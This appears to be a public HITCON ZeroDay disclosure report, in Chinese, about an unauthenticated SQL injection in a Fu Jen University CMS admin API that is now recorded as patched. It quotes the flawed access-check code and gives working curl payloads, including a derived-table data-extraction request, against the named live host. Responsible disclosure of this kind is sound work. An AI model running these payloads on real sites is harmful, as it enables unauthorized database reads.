Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-01123
- Vendor: 輔仁大學學校財團法人輔仁大學
- Title: 輔仁大學 創新跨領域學院 CMS 後台未授權 SQL Injection(api-get.php)
- Introduction: 後台 /admin/module/api-get.php 在未登入狀態下可被直接呼叫,並對資料表/欄位名稱做 SQL 拼接,造成未授權資料庫讀取。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/09/03 09:04:53 : 新提交 (由 Ethan Yang 更新此狀態)
- 2026/09/03 09:09:26 : 新提交 (由 Ethan Yang 更新此狀態)
- 2026/09/08 16:01:21 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/14 18:52:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/14 18:52:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/14 18:52:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/15 08:48:56 : 已修補 (由 組織帳號 更新此狀態)
- 2026/09/23 03:00:15 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-01123
- 通報者:yangminchun (Ethan Yang)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
摘要
{輔仁大學}「創新跨領域學院」網站後台使用 1duan(壹端)CMS。
管理 API admin/module/api-get.php 僅以 authUser() 做存取控制,但未登入時該函式只輸出 JavaScript 導向、未 exit(),請求會繼續執行。
該端點將呼叫端提供的 tablename / field / params / order 直接拼進 SQL(僅 value 有綁定),結果以 JSON 回傳 → 未授權、非盲注、可直接匯出資料。
本通報僅針對本站台;同源缺陷另見其他通報。測試採最小必要舉證,未讀取帳密/雜湊/個資。
根因(程式)
共用函式 vendor/exlocus/function.php:
function authUser($id,$rightlevel,$limitlevel=1,$url='../../index.php'){
if($id==''){
alertHref('',$url.'?msg=請先登入!'); // 只 echo JS,然後 return
}else{
if($rightlevel<$limitlevel){
alertHref(...);
exit(); // 只有權限不足才會真正中止
}
}
}
admin/module/api-get.php(概念):
$sql = "SELECT $field FROM $tablename WHERE isdeleted=1";
$sql .= " AND $params=?";
$sql .= " ORDER BY $order";
$rs = $db->prepare($sql);
$rs->execute($params);
echo json_encode($rs->fetchAll(PDO::FETCH_ASSOC), JSON_UNESCAPED_UNICODE);
重現方式(無需登入)
步驟 A — 結構證明(空參數 → SQL 語法錯誤)
curl -sk "https://cis.fju.edu.tw/admin/module/api-get.php"
預期:回應含 PHP Warning(無 session)+ JS 導向,以及 SQLSTATE 1064(空的 FROM 造成語句畸形)→ 證明輸入被拼進 SQL。
步驟 B — 未授權執行(回傳 [])
curl -sk "https://cis.fju.edu.tw/admin/module/api-get.php?tablename=adminuser&field=1&value=0"
預期:尾端 JSON []
語意:SELECT 1 FROM adminuser WHERE isdeleted=1 AND no=0 已執行,只是沒有符合列。瀏覽器會跟 JS 導向走;curl 不會。
步驟 C — 識別字注入(表不存在)
curl -sk "https://cis.fju.edu.tw/admin/module/api-get.php?tablename=zzz_no_such_table&field=1&value=0"
預期:1146 Table 'fju_cis.zzz_no_such_table' doesn't exist
→ 呼叫端字串被當成資料表識別字解析。
步驟 D — 實際匯出(公開安全:非敏感欄位)
以 derived table 放入 tablename,端點會 json_encode(fetchAll()):
curl -sk 'https://cis.fju.edu.tw/admin/module/api-get.php' \
--get \
--data-urlencode 'tablename=(SELECT 1 AS isdeleted, title AS title FROM news_class LIMIT 0,1) x' \
--data-urlencode 'field=*' \
--data-urlencode 'params=isdeleted' \
--data-urlencode 'value=1'
實測回傳(節錄):
[{"isdeleted":1,"title":"大學部"}]
sqlmap 說明
sqlmap 可偵測注入(boolean / EXTRACTVALUE),但因注入點在 SELECT 清單且經 PDO prepare(),MariaDB 對非常數 XPATH 會回 1105 Only constant XPATH queries are supported,故 sqlmap --dump 失敗不代表無法匯出。上列 derived-table 通道才是實務匯出路徑。